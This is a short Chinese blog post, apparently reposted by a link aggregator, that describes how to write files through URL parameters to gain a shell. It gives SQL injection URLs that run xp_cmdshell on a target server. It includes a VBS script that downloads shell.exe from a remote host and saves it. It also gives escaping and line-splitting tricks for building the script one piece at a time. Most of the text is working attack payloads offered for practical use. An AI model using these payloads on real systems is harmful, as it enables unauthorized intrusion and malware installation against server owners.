35

小技巧——在url中传参写文件

 3 years ago
source link: https://blog.blankshell.com/2020/06/27/小技巧-在url中传参写文件/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

实战中,会遇到只能用url传递参数拿shell的情况。比如在xp_cmeshell下写入asp/aspx webshell,又或者写入vbs脚本来下载exe使主机上线。

写文件地址:

http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'echo data >> C:\out.txt';--

这里用追加的方式写文件,data是我们要写入的数据。

下载远程文件的vbs代码

Set post=CreateObject("Msxml2.XMLHTTP")
post.Open "GET","http://x.x.x.x/shell.exe"
post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
wscript.sleep 3000 
aGet.Write(post.responseBody)
aGet.SaveToFile "shell.exe",2

在这个脚本中,有这些特殊符号:/=(“),.

经过测试,能够正常写入的有:

/
.
,
()
成对的"
xx=字符开头字符串

对于单个的双引号,需要进行转义。Windows cmd下的转义字符是^。写入单引号需要这样转换一下:

http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'echo ^" >> C:\out.txt';--

对于写入aGet.Mode = 3这样的数据,需要分两次写入,而且不能换行:

http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'set /p="aGet.Mod" >> C:\out.txt';--
http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'set /p="e = 3" >> C:\out.txt';--

这样两段字符串就写在了一行。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK